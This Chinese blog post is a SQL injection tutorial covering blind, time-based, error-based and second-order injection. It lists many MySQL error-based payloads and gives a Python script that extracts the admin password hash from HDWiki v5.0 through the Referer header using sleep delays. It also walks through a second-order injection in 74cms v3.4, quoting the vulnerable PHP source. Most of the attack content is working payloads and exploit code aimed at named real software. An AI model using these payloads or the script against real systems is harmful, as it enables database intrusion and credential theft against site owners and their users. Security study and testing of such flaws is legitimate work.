vlambda博客
学习文章列表

SQL注入多试试总会有的

很多时候的注入是没有回显的,这个时候就需要用到报错注入或者盲注进行注入操作。在上篇文章中例子都是关于select查询的时候,其实在insert,update,delete, 以及具有order by 的地方都是有注入的可能。

什么是SQL盲注

盲注就是在注入过程中,获取的数据不能回显到前端页面,这个时候利用一些方法进行判断或者尝试,这个过程就称之为盲注。

常见的盲注分为:

  • 基于布尔的 SQL盲注--逻辑判断
  • 基于时间的 SQL 盲注--延时判断
  • 基于报错的 SQL盲注--报错回显

报错注入方法

常用的报错注入方法有:

通过floor报错

and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a);

通过ExtractValue报错

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

通过UpdateXml报错

and 1=(updatexml(1,concat(0x3a,(select user())),1))

通过NAME_CONST报错

and exists(select * from (select * from(select name_const(version(),0))a join (select name_const(version(),0))b)c)

通过exp报错

and exp(~(select * from (select user () ) a) );

通过GeometryCollection()报错

「注意数据库版本需要满足」:5.5<mysql版本<5.6

and geometrycollection((select * from(select * from(select user())a)b));

通过polygon()报错

and polygon((select * from(select * from(select user())a)b));

通过multipoint()报错

and multipoint((select * from(select * from(select user())a)b));

通过multlinestring ()报错

and multlinestring ((select * from(selectuser () )a)b );

通过multpolygon ()报错

and multpolygon ((select * from(selectuser () )a)b );

通过linestring ()报错

and linestring ((select * from(select user() )a)b );

举个栗子

之前的例子都是关于select注入,这个例子是关于update的注入,同时在这个例子中,也可以进行报错注入,延时注入。

使用的是HDWiki v5.0的代码,代码我已经放到 https://github.com/peanut-cc/hacker_home

「注意:这里主要是延时各种注入的方法,不再整理关于当前漏洞是如何挖到的」

SQL注入点:

搭建好HDWiki之后,注册一个账号进行登录,然后访问:http://192.168.1.102:60007/index.php?user-login

注入的点就在请求头中的referer字段。

这个通过源码也可以看到:

hdwiki/control/user.php的 108-125行代码中

接着追踪这个add_refere()函数,在hdwiki/model/user.class.php的41-45行

SQL注入多试试总会有的


可以看到这个sql语句并没有堆referer字段进行校验,所以我们可以通过这个字段进行注入尝试

SQL 盲注--延时判断

将referer 字段设置为'where if(substr((select database()),1,1)='w', sleep(4),0)# ,访问页面,看页面加载是否会延时4秒左右:

SQL注入多试试总会有的

因为我这里的数据库是wiki,所以当前请求会被延时4秒左右加载,将当前请求执行的那个拼接的SQL语句打印如下:

UPDATE wiki_session SET referer ='' where if(substr((select database()),1,1)='w', sleep(4),0)#' WHERE sid='LyvbjI'

当然这里只是演示了获取数据库信息,上一篇文章中整理的当确定sql注入之后,进行的收集都是可以进行测试的。

不过这里可以看到延时注入是比较费时间的,加上页面不会有加载相关信息,你就需要通过对查询信息进行切割,一位一位的来验证

就像这个例子中,因为我们知道hdwiki中如果在安装的时候,没有更改数据库表的前缀,就会存在wiki_user 表,如果默认用户是admin,那么我们可以通过如下方式来测试admin的密码:

'where if(substr((select password from help_user where username='admin'),,1)='e', sleep(5),0)#

因为hdwiki的密码是md5加密的,我知道是32位的,那么我们便可以写一个脚本来实现:

import requests
from requests.exceptions import ReadTimeout
import time

payloads = list('1234567890abcdefghijklmnopqrstuvwxyz')
print(payloads)

Cookies = "hd_sid=cix1PL; hd_auth=f4bfxzdtI8lukicSkTAUsaV3KMWlW0yQD5LLtqJP75Hx0cy9NIxgNhYZHF0doIIQSOSByGtLLdi4kL%2FdXGvq"

url = "http://192.168.1.102:60007/index.php?user-login"

ret = ""

for i in range(132):
    time.sleep(2)
    for payload in payloads:

        header = {
            "Host""192.168.1.102:60007",
            "Upgrade-Insecure-Requests""1",
            "User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
            'Cookie': Cookies,
            'referer'"' where if(substr((select password from wiki_user where username='admin')," + str(i) + ",1)='" +str(payload)+"', sleep(4),0)#",
        }

        try:
            res = requests.get(url=url, headers=header, timeout=2)
        except ReadTimeout:
            print("timeout")
            ret += payload
            print(ret)
            time.sleep(4)
            break

print(ret)

SQL盲注--报错回显

还是上面的搭建的这个HDWiki,通过报错注入的方式在进行SQL注入,将Referer设置为:

'or updatexml(2,concat(0x7e,(database())),0) or' : 通过updatexml 实现报错注入

SQL注入多试试总会有的


' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) or ' :通过floor实现报错注入

SQL注入多试试总会有的


' or extractvalue(1, concat(0x7e, (select database()),0x7e)) or ' : 通过extractvalue 实现报错注入

SQL注入多试试总会有的

' or exp(~(select datbase())) or' 通过exp报错注入:

SQL注入多试试总会有的


二阶注入

二阶注入,作为SQL注入的一种,他不同于普通的SQL注入,恶意代码被注入到web应用中不立即执行,而是存储到后端的数据库中,在处理另外一次不同的请求时,应用检索到数据库中的恶意输入并利用它动态构建SQL语句,实现了攻击。过程描述如下:

  • 攻击者在一个HTTP请求中提交恶意输入,用于将恶意输入保存在数据库中
  • 攻击者提交第二个HTTP请求,为处理第二个HTTP请求,应用检索存储在后端数据库中的恶意输入,动态构建 SQL语句
  • 在第二个请求的响应中向攻击者返回结构

相对来说这种注入,一般可能更多的出现在代码审计中发现,或者在有相关源码的情况下发现二阶注入点

举个栗子

74cms_v3.4.20140820  存在二阶注入

搭建好环境之后,随便注册一个账号,填写一下个人简历信息,类似下图:

SQL注入多试试总会有的


先看一下出问题的代码在/user/personal/personal_resume.php

//创建简历 -保存基本信息
elseif ($act=='make1_save')
{
 $captcha=get_cache('captcha');
 $postcaptcha = trim($_POST['postcaptcha']);
 if($captcha['verify_resume']=='1' && empty($postcaptcha) && intval($_REQUEST['pid'])===0)
 {
  showmsg("请填写验证码",1);
  }
 if ($captcha['verify_resume']=='1' && intval($_REQUEST['pid'])===0 &&  strcasecmp($_SESSION['imageCaptcha_content'],$postcaptcha)!=0)
 {
  showmsg("验证码错误",1);
 }
 $setsqlarr['uid']=intval($_SESSION['uid']);
 $setsqlarr['title']=trim($_POST['title'])?trim($_POST['title']):showmsg('请填写简历名称!',1);
 $setsqlarr['fullname']=trim($_POST['fullname'])?trim($_POST['fullname']):showmsg('请填写姓名!',1);
 $setsqlarr['sex']=trim($_POST['sex'])?intval($_POST['sex']):showmsg('请选择性别!',1);
 $setsqlarr['sex_cn']=trim($_POST['sex_cn']);
 $setsqlarr['birthdate']=intval($_POST['birthdate'])>1945?intval($_POST['birthdate']):showmsg('请正确填写出生年份',1);
 $setsqlarr['height']=intval($_POST['height']);
 $setsqlarr['marriage']=intval($_POST['marriage']);
 $setsqlarr['marriage_cn']=trim($_POST['marriage_cn']);
 $setsqlarr['experience']=intval($_POST['experience']);
 $setsqlarr['experience_cn']=trim($_POST['experience_cn']);
 $setsqlarr['householdaddress']=trim($_POST['householdaddress'])?trim($_POST['householdaddress']):showmsg('请填写户口所在地!',1); 
 $setsqlarr['education']=intval($_POST['education']);
 $setsqlarr['education_cn']=trim($_POST['education_cn']);
 $setsqlarr['tag']=trim($_POST['tag']);
 $setsqlarr['telephone']=trim($_POST['telephone'])?trim($_POST['telephone']):showmsg('请填写联系电话!',1);
 $setsqlarr['email']=$user['email'];
 $setsqlarr['email_notify']=$_POST['email_notify']=="1"?1:0;
 $setsqlarr['address']=trim($_POST['address'])?trim($_POST['address']):showmsg('请填写通讯地址!',1);
 $setsqlarr['website']=trim($_POST['website']);
 $setsqlarr['qq']=trim($_POST['qq']);
 $setsqlarr['refreshtime']=$timestamp;
 $setsqlarr['subsite_id']=intval($_CFG['subsite_id']);
 $setsqlarr['display_name']=intval($_CFG['resume_privacy']); 
 if (intval($_REQUEST['pid'])===0)
 { 
   $setsqlarr['audit']=intval($_CFG['audit_resume']);
   $total[0]=$db->get_total("SELECT COUNT(*) AS num FROM ".table('resume')." WHERE uid='{$_SESSION['uid']}'");
   $total[1]=$db->get_total("SELECT COUNT(*) AS num FROM ".table('resume_tmp')." WHERE uid='{$_SESSION['uid']}'");
   $total[2]=$total[0]+$total[1];
   if ($total[2]>=intval($_CFG['resume_max']))
   {
   showmsg("您最多可以创建{$_CFG['resume_max']} 份简历,已经超出了最大限制!",1);
   }
   else
   {
   $setsqlarr['addtime']=$timestamp;
   $pid=inserttable(table('resume'),$setsqlarr,1);
   if (empty($pid))showmsg("保存失败!",0);
   check_resume($_SESSION['uid'],$pid);
   write_memberslog($_SESSION['uid'],2,1101,$_SESSION['username'],"创建了简历");
   header("Location: ?act=make2&pid=".$pid);
   }
 }
 else
 {
  $_CFG['audit_edit_resume']!="-1"?$setsqlarr['audit']=intval($_CFG['audit_edit_resume']):"";
  updatetable(table('resume'),$setsqlarr," id='".intval($_REQUEST['pid'])."'  AND uid='{$setsqlarr['uid']}'");
  updatetable(table('resume_tmp'),$setsqlarr," id='".intval($_REQUEST['pid'])."'  AND uid='{$setsqlarr['uid']}'");
  check_resume($_SESSION['uid'],intval($_REQUEST['pid']));
  write_memberslog($_SESSION['uid'],2,1105,$_SESSION['username'],"修改了简历({$_POST['title']})");
  if ($_POST['go_resume_show'])
  {
  header("Location: ?act=resume_show&pid={$_REQUEST['pid']}");
  }
  else
  {
  header("Location: ?act=make2&pid={$_REQUEST['pid']}");
  }
 }  
}

在创建简历第一步时:

fullnameeducation_cn等信息通过函数inserttable插入数据库

在进入数据库时,通过转义,但是进入数据库存储时,依然可带入单引号等SQL语句

通过check_resume函数检测简历完成程度:

//检查简历的完成程度
function check_resume($uid,$pid)
{
 global $db,$timestamp,$_CFG;
 $uid=intval($uid);
 $pid=intval($pid);
 $percent=0;
 $resume_basic=get_resume_basic($uid,$pid);
 $resume_intention=$resume_basic['intention_jobs'];
 $resume_specialty=$resume_basic['specialty'];
 $resume_education=get_resume_education($uid,$pid);
 if (!empty($resume_basic))$percent=$percent+15;
 if (!empty($resume_intention))$percent=$percent+15;
 if (!empty($resume_specialty))$percent=$percent+15;
 if (!empty($resume_education))$percent=$percent+15;
 if ($resume_basic['photo_img'] && $resume_basic['photo_audit']=="1"  && $resume_basic['photo_display']=="1")
 {
 $setsqlarr['photo']=1;
 }
 else
 {
 $setsqlarr['photo']=0;
 }
 if ($percent<60)
 {
  $setsqlarr['complete_percent']=$percent;
  $setsqlarr['complete']=2;
 }
 else
 {
  $resume_work=get_resume_work($uid,$pid);
  $resume_training=get_resume_training($uid,$pid);
  $resume_photo=$resume_basic['photo_img'];
  if (!empty($resume_work))$percent=$percent+13;
  if (!empty($resume_training))$percent=$percent+13;
  if (!empty($resume_photo))$percent=$percent+14;
  $setsqlarr['complete']=1;
  $setsqlarr['complete_percent']=$percent;
  require_once(QISHI_ROOT_PATH.'include/splitword.class.php');
  $sp = new SPWord();
  $setsqlarr['key']=$resume_basic['intention_jobs'].$resume_basic['recentjobs'].$resume_basic['specialty'];  
  $setsqlarr['key']="{$resume_basic['fullname']} ".$sp->extracttag($setsqlarr['key']);
  $setsqlarr['key']=str_replace(","," ",$resume_basic['intention_jobs'])." {$setsqlarr['key']} {$resume_basic['education_cn']}";
  $setsqlarr['key']=$sp->pad($setsqlarr['key']); 
  if (!empty($resume_education))
  {
   foreach($resume_education as $li)
   {
   $setsqlarr['key']="{$li['school']} {$setsqlarr['key']} {$li['speciality']}";
   }
  }
  $setsqlarr['refreshtime']=$timestamp;
 }

可以看到:

$setsqlarr['key']="{$resume_basic['fullname']} ".$sp->extracttag($setsqlarr['key']);
  $setsqlarr['key']=str_replace(","," ",$resume_basic['intention_jobs'])." {$setsqlarr['key']} {$resume_basic['education_cn']}";

fullname,education_cn两个参数被取出来后进入了setsqlarr变量 最后进入了updatetable函数:

updatetable(table('resume'),$setsqlarr,"uid='{$uid}' AND id='{$pid}'");

进入updatetable函数:

function updatetable($tablename, $setsqlarr, $wheresqlarr, $silent=0) {
 global $db;
 $setsql = $comma = '';
 foreach ($setsqlarr as $set_key => $set_value) {
  if(is_array($set_value)) {
   $setsql .= $comma.'`'.$set_key.'`'.'='.$set_value[0];
  } else {
   $setsql .= $comma.'`'.$set_key.'`'.'=\''.$set_value.'\'';
  }
  $comma = ', ';
 }
 $where = $comma = '';
 if(empty($wheresqlarr)) {
  $where = '1';
 } elseif(is_array($wheresqlarr)) {
  foreach ($wheresqlarr as $key => $value) {
   $where .= $comma.'`'.$key.'`'.'=\''.$value.'\'';
   $comma = ' AND ';
  }
 } else {
  $where = $wheresqlarr;
 }
 return $db->query("UPDATE ".($tablename)." SET ".$setsql." WHERE ".$where, $silent?"SILENT":"");
}

在updatetable中,没有对数据进行任何的处理专业过滤等 到这里我们第一步进入数据库的恶意SQL,在这里再次进去了数据库,导致SQL注入

所以我们可以按照如下图进行注入:


当再次预览简历时,则可以看到二阶注入的效果:


延伸阅读

  • http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2014-074893